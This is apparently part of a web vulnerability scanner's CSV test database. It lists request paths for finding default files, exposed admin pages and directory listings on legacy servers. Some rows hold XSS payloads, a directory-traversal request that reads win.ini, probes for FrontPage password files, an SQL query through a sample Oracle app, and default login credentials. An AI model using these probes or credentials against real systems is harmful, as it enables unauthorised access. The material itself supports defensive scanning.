"002789","3233","2","/dms0","GET","DMSDUMP","","","","","Default Oracle 9iAS allows access to Dynamic Monitoring Services","","" "002790","3233","2","/jspdocs/","GET","OracleJSP","","","","","Default Oracle JSP documentation.","","" "002791","3233","2","/mod_ose_docs","GET","Oracle Servlet Engine","","","","","Default Oracle documentation found.","","" "002792","3233","2","/ojspdemos/basic/hellouser/hellouser.jsp","GET","200","License Exception","","","","Oracle 9i default jsp page found, may be vulnerable to XSS in any field.","","" "002793","3233","2","/ojspdemos/basic/simple/usebean.jsp","GET","200","License Exception","","","","Oracle 9i default jsp page found, may be vulnerable to XSS in any field.","","" "002794","3233","2","/ojspdemos/basic/simple/welcomeuser.jsp","GET","200","License Exception","","","","Oracle 9i default jsp page found, may be vulnerable to XSS in any field.","","" "002795","3233","2","/oprocmgr-status","GET","Module Name","","","","","Oracle 9iAS default install allows access to the Java Process Manager.","","" "002796","3233","2","/php/index.php","GET","200","","","","","Monkey Http Daemon default php file found.","","" "002797","3233","2","/pls/portal30/admin_/","GET","Gateway Configuration Menu","","","","","Default Oracle 9iAS allows unrestricted access to the mod_plsql DAD admin interface.","","" "002798","3233","2","/pls/simpledad/admin_/","GET","Gateway Configuration Menu","","","","","This default may allow limited administration of the Oracle server.","","" "002799","3233","2","/pls/simpledad/admin_/gateway.htm?schema=sample","GET","Gateway Configuration Menu","","","","","This default may allow limited administration of the Oracle server.","","" "002800","3233","2","/pls/simpledad/admin_/globalsettings.htm","GET","edit global gateway","","","","","Oracle admin script allows modification of database information.","","" "002801","3233","2","/search/","GET","Sample Search Interface","","","","","Default iPlanet search is enabled.","","" "002802","3233","2","/servlet/Counter","GET","200","Error Occurred","","","","JRun default servlet found. All default code should be removed from servers.","","" "002803","3233","2","/servlet/DateServlet","GET","200","Error Occurred","","","","JRun default servlet found. All default code should be removed from servers.","","" "002804","3233","2","/servlet/FingerServlet","GET","200","Error Occurred","","","","JRun default servlet found. All default code should be removed from servers.","","" "002805","3233","2","/servlet/HelloWorldServlet","GET","200","Error Occurred","","","","JRun default servlet found. All default code should be removed from servers.","","" "002806","3233","2","/servlet/IsItWorking","GET","Yes, It's working","","","","","Default Java (JServ) pages are present.","","" "002807","3233","2","/servlet/SessionServlet","GET","200","Error Occurred","","","","JRun or Netware WebSphere default servlet found. All default code should be removed from servers.","","" "002808","3233","2","/servlet/SimpleServlet","GET","200","Error Occurred","","","","JRun default servlet found (possibly Websphere). All default code should be removed from servers.","","" "002809","3233","2","/servlet/SnoopServlet","GET","200","Error Occurred","","","","JRun, Netware Java Servlet Gateway, or WebSphere default servlet found. All default code should be removed from servers.","","" "002810","3233","2","/xdk/","GET","Oracle XML Development","","","","","Default Oracle documentation found.","","" "002811","3233","2","/xsql/demo/adhocsql/query.xsql?sql=select%20username%20from%20ALL_USERS","GET","USERNAME","","","","","This allows attackers to perform queries to the Oracle database. This sample app should be removed.","","" "002812","3233","2","/admcgi/contents.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002813","3233","2","/admcgi/scripts/Fpadmcgi.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002814","3233","2","/admisapi/fpadmin.htm","GET","200","","","","","Default FrontPage file found.","","" "002815","3233","2","/bin/admin.pl","GET","200","","","","","Default FrontPage CGI found.","","" "002816","3233","2","/bin/cfgwiz.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002817","3233","2","/bin/CGImail.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002818","3233","2","/bin/contents.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002819","3233","2","/bin/fpadmin.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002820","3233","2","/bin/fpremadm.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002821","3233","2","/bin/fpsrvadm.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002822","3233","2","/cgi-bin/admin.pl","GET","200","","","","","Default FrontPage CGI found.","","" "002823","3233","2","/cgi-bin/cfgwiz.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002824","3233","2","/cgi-bin/CGImail.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002825","3233","2","/cgi-bin/contents.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002826","3233","2","/cgi-bin/fpadmin.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002827","3233","2","/cgi-bin/fpremadm.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002828","3233","2","/cgi-bin/fpsrvadm.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002829","3233","2","/scripts/admin.pl","GET","200","","","","","Default FrontPage CGI found.","","" "002830","3233","2","/scripts/cfgwiz.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002831","3233","2","/scripts/CGImail.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002832","3233","2","/scripts/contents.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002833","3233","2","/scripts/fpadmin.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002834","3233","2","/scripts/fpcount.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002835","3233","2","/scripts/fpremadm.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002836","3233","2","/scripts/fpsrvadm.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002837","3233","2","/_private/","GET","200","","","cannot be displayed","","FrontPage directory found.","","" "002838","3233","2","/_private/orders.htm","GET","200","","","cannot be displayed","","Default FrontPage file found.","","" "002839","3233","2","/_private/orders.txt","GET","200","","","cannot be displayed","","Default FrontPage file found.","","" "002840","3233","2","/_private/register.htm","GET","200","","","cannot be displayed","","Default FrontPage file found.","","" "002841","3233","2","/_private/register.txt","GET","200","","","cannot be displayed","","Default FrontPage file found.","","" "002842","3233","2","/_private/registrations.htm","GET","200","","cannot be displayed","","","Default FrontPage file found.","","" "002843","3233","2","/_private/registrations.txt","GET","200","","","cannot be displayed","","Default FrontPage file found.","","" "002844","3233","2","/_private/_vti_cnf/","GET","200","","","cannot be displayed","","FrontPage directory found.","","" "002845","3233","2","/_vti_bin/","GET","200","","","","","FrontPage directory found.","","" "002846","3233","2","/_vti_bin/admin.pl","GET","200","","","","","Default FrontPage CGI found.","","" "002847","3233","2","/_vti_bin/cfgwiz.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002848","3233","2","/_vti_bin/CGImail.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002849","3233","2","/_vti_bin/contents.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002850","3233","2","/_vti_bin/fpadmin.htm","GET","200","","","","","Default FrontPage CGI found.","","" "002851","3233","2","/_vti_bin/fpremadm.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002852","3233","2","/_vti_bin/fpsrvadm.exe","GET","200","","","","","Default FrontPage CGI found.","","" "002853","3233","2","/_vti_bin/_vti_cnf/","GET","200","","","","","FrontPage directory found.","","" "002854","3233","2","/_vti_cnf/_vti_cnf/","GET","200","","","","","FrontPage directory found.","","" "002855","3233","2","/_vti_inf.html","GET","FPVersion=","","","","","FrontPage is installed and reveals its version number (check HTML source for more information).","","" "002856","3233","2","/_vti_log/_vti_cnf/","GET","200","","","","","FrontPage directory found.","","" "002857","3233","2","/_vti_pvt/administrators.pwd","GET","200","","","","","Default FrontPage file found, may be a password file.","","" "002858","3233","2","/_vti_pvt/authors.pwd","GET","200","","","","","Default FrontPage file found, may be a password file.","","" "002859","3233","2","/_vti_pvt/service.pwd","GET","200","","","","","Default FrontPage file found, may be a password file.","","" "002860","3233","2","/_vti_pvt/users.pwd","GET","200","","","","","Default FrontPage file found, may be a password file.","","" "002861","3233","2","/manual/servlets/scripts/servlet1/servform.htm","GET","invokes a servlet","","","","","iPlanet default servlet found. All default code should be removed.","","" "002862","3233","2","/manual/servlets/scripts/shoes/shoeform.htm","GET","invokes a jsp","","","","","iPlanet default servlet found. All default code should be removed.","","" "002863","3233","2","/examples/","GET","Servlet Samples","","","","","JEUS default servlet example pages present","","" "002864","3233","2","/examples/context","GET","Context servlet","","","","","JEUS default servlet examples disclose server directory","","" "002865","3233","2","/examples/forward1","GET","Forward1 servlet","","","","","JEUS default servlet example","","" "002866","3233","2","/examples/forward2","GET","Forward2 servlet","","","","","JEUS default servlet example","","" "002867","3233","2","/examples/header","GET","Header servlet","","","","","JEUS default servlet example","","" "002868","3233","2","/examples/include1","GET","Include1 servlet","","","","","JEUS default servlet example","","" "002869","3233","2","/examples/info","GET","Info servlet","","","","","JEUS default servlet example","","" "002870","3233","2","/examples/jsp/index.html","GET","JSP Samples","","","","","Tomcat or JEUS default JSP pages present.","","" "002871","3233","2","/help/contents.htm","GET","200","","","","","Default Netscape manual found. All default pages should be removed.","","" "002872","3233","2","/help/home.html","GET","200","","","","","Default Netscape manual found. All default pages should be removed.","","" "002873","3233","2","/manual/ag/esperfrm.htm","GET","200","","","","","Default Netscape manual found. All default pages should be removed.","","" "002874","3233","2","/nethome/","GET","200","","","","","Netscape Enterprise Server default doc/manual directory. Reveals server path at bottom of page.","","" "002875","3233","2","/com/novell/gwmonitor/help/en/default.htm","GET","200","","","","","Netware gateway monitor access documentation found. All default documentation should be removed from web servers.","","" "002876","3233","2","/com/novell/webaccess/help/en/default.htm","GET","200","","","","","Netware web access documentation found. All default documentation should be removed from web servers.","","" "002877","3233","2","/com/novell/webpublisher/help/en/default.htm","GET","200","","","","","Netware web publisher documentation found. All default documentation should be removed from web servers.","","" "002878","3233","2","/servlet/AdminServlet","GET","200","","","","","Netware Web Search Server (adminservlet) found. All default code should be removed from web servers.","","" "002879","3233","2","/servlet/gwmonitor","GET","200","","","","","Netware Gateway monitor found. All default code should be removed from web servers.","","" "002880","3233","2","/servlet/PrintServlet","GET","200","","","","","Novell Netware default servlet found. All default code should be removed from the system.","","" "002881","3233","2","/servlet/SearchServlet","GET","200","","","","","Novell Netware default servlet found. All default code should be removed from the system.","","" "002882","3233","2","/servlet/ServletManager","GET","401","","","","","Netware Java Servlet Gateway found. Default user id is servlet, default password is manager. All default code should be removed from Internet servers.","","" "002883","3233","2","/servlet/sq1cdsn","GET","200","","","","","Novell Netware default servlet found. All default code should be removed from the system.","","" "002884","3233","2","/servlet/sqlcdsn","GET","401","","","","","Netware SQL connector found. All default code should be removed from web servers.","","" "002885","3233","2","/servlet/webacc","GET","200","","","","","Netware Enterprise and/or GroupWise web access found. All default code should be removed from Internet servers.","","" "002886","3233","2","/servlet/webpub","GET","200","","","","","Netware Web Publisher found. All default code should be removed from web servers.","","" "002887","3233","2","/WebSphereSamples","GET","200","","","","","Netware Webshere sample applications found. All default code should be removed from web servers.","","" "002888","3233","2","/cgi-bin/cgi-test.exe","GET","200","","","","","Default CGI found","","" "002889","3233","2","/doc/domguide.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002890","3233","2","/doc/dspug.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002891","3233","2","/doc/help4.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002892","3233","2","/doc/helpadmin.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002893","3233","2","/doc/helplt4.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002894","3233","2","/doc/internet.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002895","3233","2","/doc/javapg.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002896","3233","2","/doc/lccon.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002897","3233","2","/doc/migrate.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002898","3233","2","/doc/npn_admn.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002899","3233","2","/doc/npn_rn.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002900","3233","2","/doc/readmec.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002901","3233","2","/doc/readmes.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002902","3233","2","/doc/smhelp.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002903","3233","2","/doc/srvinst.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002904","3233","2","/domguide.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002905","3233","2","/dspug.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002906","3233","2","/help/domguide.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002907","3233","2","/help/dspug.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002908","3233","2","/help/help4.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002909","3233","2","/help/helpadmin.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002910","3233","2","/help/helplt4.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002911","3233","2","/help/internet.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002912","3233","2","/help/javapg.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002913","3233","2","/help/lccon.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002914","3233","2","/help/migrate.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002915","3233","2","/help/npn_admn.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002916","3233","2","/help/npn_rn.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002917","3233","2","/help/readmec.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002918","3233","2","/help/readmes.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002919","3233","2","/help/smhelp.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002920","3233","2","/help/srvinst.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002921","3233","2","/help4.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002922","3233","2","/helpadmin.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002923","3233","2","/helplt4.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002924","3233","2","/internet.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002925","3233","2","/javapg.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002926","3233","2","/lccon.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002927","3233","2","/migrate.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002928","3233","2","/npn_admn.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002929","3233","2","/npn_rn.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002930","3233","2","/readmec.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002931","3233","2","/readmes.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002932","3233","2","/smhelp.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002933","3233","2","/srvinst.nsf","GET","200","","","","","This documentation database can be read without authentication. All default files should be removed.","","" "002934","3233","2","/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse","GET","SERVER_SOFTWARE","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002935","3233","2","/lcgi/sys:/novonyx/suitespot/docs/sewse/misc/test.jse","GET","SCRIPT_NAME","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002936","3233","2","/netbasic/websinfo.bas","GET","Company","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002937","3233","2","/perl/env.pl","GET","HSERVER_SOFTWARE","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002938","3233","2","/perl/samples/env.pl","GET","HSERVER_SOFTWARE","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002939","3233","2","/perl/samples/lancgi.pl","GET","Lan Boards","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002940","3233","2","/perl/samples/ndslogin.pl","GET","Fullname","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002941","3233","2","/perl/samples/volscgi.pl","GET","Size","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002942","3233","2","/se/?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse","GET","SERVER_SOFTWARE","","","","","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed.","","" "002943","3233","2","/index.html.ca","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002944","3233","2","/index.html.cz.iso8859-2","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002945","3233","2","/index.html.de","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002946","3233","2","/index.html.dk","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002947","3233","2","/index.html.ee","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002948","3233","2","/index.html.el","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002949","3233","2","/index.html.en","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002950","3233","2","/index.html.es","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002951","3233","2","/index.html.et","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002952","3233","2","/index.html.fr","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002953","3233","2","/index.html.he.iso8859-8","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002954","3233","2","/index.html.hr.iso8859-2","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002955","3233","2","/index.html.it","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002956","3233","2","/index.html.ja.iso2022-jp","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002957","3233","2","/index.html.kr.iso2022-kr","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002958","3233","2","/index.html.ltz.utf8","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002959","3233","2","/index.html.lu.utf8","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002960","3233","2","/index.html.nl","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002961","3233","2","/index.html.nn","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002962","3233","2","/index.html.no","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002963","3233","2","/index.html.po.iso8859-2","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002964","3233","2","/index.html.pt","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002965","3233","2","/index.html.pt-br","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002966","3233","2","/index.html.ru.cp-1251","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002967","3233","2","/index.html.ru.cp866","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002968","3233","2","/index.html.ru.iso-ru","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002969","3233","2","/index.html.ru.koi8-r","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002970","3233","2","/index.html.ru.utf8","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002971","3233","2","/index.html.se","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002972","3233","2","/index.html.tw","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002973","3233","2","/index.html.tw.Big5","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002974","3233","2","/index.html.var","GET","200","","","","","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.","","" "002975","3233","2","/test","GET","test hierarchy","","","","","Apache Tomcat default file found. All default files should be removed.","","" "002976","3233","2","/iissamples/issamples/codebrws.asp","GET","Sample ASP Search Form","","","","","This is a default IIS script/file which should be removed. CAN-1999-0739. MS99-013.","","" "002977","3233","2","/iissamples/issamples/ixqlang.htm","GET","Query Language","","","","","IIS default file found. All default files should be removed.","","" "002978","3233","2","/iissamples/issamples/Winmsdp.exe","GET","Sample ASP Search Form","","","","","This is a default IIS script/file which should be removed. CAN-1999-0738. MS99-013.","","" "002979","3233","2","/iissamples/sdk/asp/docs/codebrw2.asp","GET","200","","","","","This is a default IIS script/file which should be removed. CAN-1999-0739. MS99-013.","","" "002980","3233","2","/iissamples/sdk/asp/docs/codebrws.asp","GET","200","","","","","This is a default IIS script/file which should be removed. CAN-1999-0739. MS99-013.","","" "002981","3233","2","/iissamples/sdk/asp/docs/Winmsdp.exe","GET","200","","","","","This is a default IIS script/file which should be removed. CAN-1999-0738. MS99-013.","","" "002982","3233","2","/mc-icons/","GET","Index of","","","","","Default Netscape/iPlanet ns-icons and mc-icons are present. Edit the obj.conf and remove them. All default files should be removed.","","" "002983","3233","2","/ns-icons/","GET","Index of","","","","","Default Netscape/iPlanet ns-icons and mc-icons are present. Edit the obj.conf and remove them. All default files should be removed.","","" "002984","3233","3","@CGIDIRSprintenv","GET","DOCUMENT_ROOT","","","","","Apache 2.0 default script is executable and gives server environment variables. All default scripts should be removed. It may also allow XSS types of attacks. BID-4431.","","" "002985","3233","3","@CGIDIRSprintenv","GET","Premature end of script headers: /","","","","","Apache 2.0 printenv default script does not have execute permissions but leaks file system paths. It may also allow XSS types of attacks. BID-4431.","","" "002986","3233","3","/cgi-bin/test-cgi","GET","PATH_TRANSLATED","","","","","Apache 2.0 default script is executable and reveals system information. All default scripts should be removed.","","" "002987","3233","3","/cgi-bin/test-cgi","GET","Premature end of script headers: /","","","","","Apache 2.0 printenv default script does not have execute permissions but leaks file system paths.","","" "002988","3233","3","/pls/simpledad/admin_/adddad.htm?%3CADVANCEDDAD%3E","GET","Edit Database","","","","","Oracle admin page may reveal password in a prebuilt form and reveal database information.","","" "002989","3233","3","/test.php","GET","Current PHP version","","","","","PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.","","" "002990","3233","3","/test/info.php","GET","Current PHP version","","","","","PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.","","" "002991","3233","3","/info.php","GET","Current PHP version","","","","","PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.","","" "002992","3233","3","/test/phpinfo.php","GET","Current PHP version","","","","","PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.","","" "002993","3233","b","/NetDetector/middle_help_intro.htm","GET","NIKSUN-HELP","","","","","The system appears to be a Niksun NetDetector (network monitoring). The help files should be available at /NetDetector/quick_help_index.html","","" "002994","3233","b","/a/","GET","200","","","","","May be Kebi Web Mail administration menu.","","" "002995","3233","b","/basilix/","GET","200","","","","","BasiliX webmail application. Default mysql database name is 'BASILIX' with password 'bsxpass'","","" "002996","3233","b","/bottom.html","GET","Topaz Prism","","","","","Topaz Prism appears to be running, try login with admin/admin.","","" "002997","3233","b","/interchange/","GET","200","","","","","Interchange chat is installed. Look for a high-numbered port like 20xx to find it running.","","" "002998","3233","b","/sca/menu.jsp","GET","Service Control Agent","","","","","Entrust GetAccess Service Control Agent is installed.","","" "002999","3233","b","/","SEARCH","Length Required","","","","","WebDAV is installed.\n",";","" "003000","3268","2","/icons/","GET","200","","","","","Directory indexing is enabled: /icons","","" "003001","3268","2","/manual/images/","GET","200","","","","","Directory indexing is enabled: /manual/images","","" "003002","3268","2","/com/","GET","index of","","","","","Directory indexing is enabled: /com. This may be Java class files.","","" "003003","3268","2","/COM/","GET","index of","","","","","Directory indexing is enabled: /COM. This may be Java class files.","","" "003004","3268","2","/doc/packages/","GET","index of /doc","","","","","Directory indexing is enabled: /doc/packages. This may show attackers all packages installed on the system.","","" "003005","3268","2","/image/","GET","Index of ","","","","","Directory indexing is enabled: /image","","" "003006","3268","2","/javax/","GET","index of","","","","","Directory indexing is enabled: /javax. This may be Java class files.","","" "003007","3268","2","/perl/","GET","Index of ","","","","","Directory indexing is enabled: /perl","","" "003008","3268","2","/scripts/","GET","Index of ","","","","","Directory indexing is enabled: /scripts","","" "003009","3268","2","/SUNWmc/htdocs/en_US/","GET","Index of","","","","","Directory indexing is enabled: /SUNWmc/htdocs/en_US/. This is likely a Sun Solstice installation.","","" "003010","3268","2","/search/inc/","GET","Index of","","","","","Directory indexing is enabled: /search/inc. This is likely Sun One Webserver 6.1 search.","","" "003011","3268","2","/images/","GET","Index of ","","","","","Directory indexing is enabled: /images","","" "003012","3268","3","/docs/","GET","200","","","","","Directory indexing is enabled: /docs","","" "003013","3268","3","/examples/","GET","Directory Listing","Index of","","","","Directory indexing is enabled: /examples","","" "003014","3268","3","/style/","GET","Index of ","","","","","Directory indexing is enabled: /style","","" "003015","3268","3","/styles/","GET","Index of ","","","","","Directory indexing is enabled: /styles","","" "003016","3280","3","/forum/memberlist.php?s=23c37cf1af5d2ad05f49361b0407ad9e&what=\">\"","GET","","","","","","Vbulletin 2.2.9 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "003017","3281","4","/search.asp?Search=\"><script>alert(Vulnerable)</script>","GET","><script>alert()</script>","","","","","Max Web Portal is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "003018","3282","8","/uploader.php","GET","200","","","","","This script may allow arbitrary files to be uploaded to the remote server.","","" "003019","3284","3","/iissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp","GET","Path not found","","","","","Winmsdp.exe can be used to determine if a file system path exists or not. CAN-1999-0738. MS99-013.","","" "003020","3284","5","/iissamples/sdk/asp/docs/Winmsdp.exe","GET","View Active Server Page Source","","","","","IIS 5 comes with an ASP that allows remote code to viewed. All default files in /IISSamples should be removed. CAN-1999-0738. MS99-013.","","" "003021","3284","5","/iissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp","GET","200","","","","","IIS may be vulnerable to source code viewing via the example Winmsdp.exe file. Remove all default files from the web root. CAN-1999-0738. MS99-013.","","" "003022","3284","6","/iissamples/exair/howitworks/Winmsdp.exe","GET","ASP Source code browser","","","","","This is a default IIS script/file which should be removed, it may allow a DoS against the server. CVE-1999-1451, XF-2371, MS99-013 and MSKB-Q231368","","" "003023","3285","7","/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini","GET","[fonts]","","","","","Abyss allows directory traversal if %5c is in a URL. Upgrade to the latest version.","","" "003024","3285","7","/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini","GET","[windows]","","","","","Abyss allows directory traversal if %5c is in a URL. Upgrade to the latest version.","","" "003025","3286","5","/conspass.chl+","GET","200","","","","","Abyss allows hidden/protected files to be served if a + is added to the request. CAN-2002-1081","","" "003026","3286","5","/consport.chl+","GET","200","","","","","Abyss allows hidden/protected files to be served if a + is added to the request. CAN-2002-1081","","" "003027","3286","5","/general.chl+","GET","200","","","","","Abyss allows hidden/protected files to be served if a + is added to the request. CAN-2002-1081","","" "003028","3286","5","/srvstatus.chl+","GET","200","","","","","Abyss allows hidden/protected files to be served if a + is added to the request. CAN-2002-1081","","" "003029","3288","3","///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////","GET","index of","","","","","Abyss 1.03 reveals directory listing when /'s are requested.","","" "003030","3289","4","/firewall/policy/dlg?q=-1&fzone=t>&tzone=dmz","GET","","","","","","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages.","","" "003031","3294","4","/firewall/policy/policy?fzone=internal&tzone=dmz1","GET","","","","","","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages.","","" "003032","3295","4","/antispam/listdel?file=blacklist&name=b&startline=0","GET","","","","","","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages.","","" "003033","3295","4","/antispam/listdel?file=whitelist&name=a&startline=0(naturally)","GET","","","","","","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages.","","" "003034","3296","4","/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter,/system/status/session","GET",">","","","","","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages.","","" 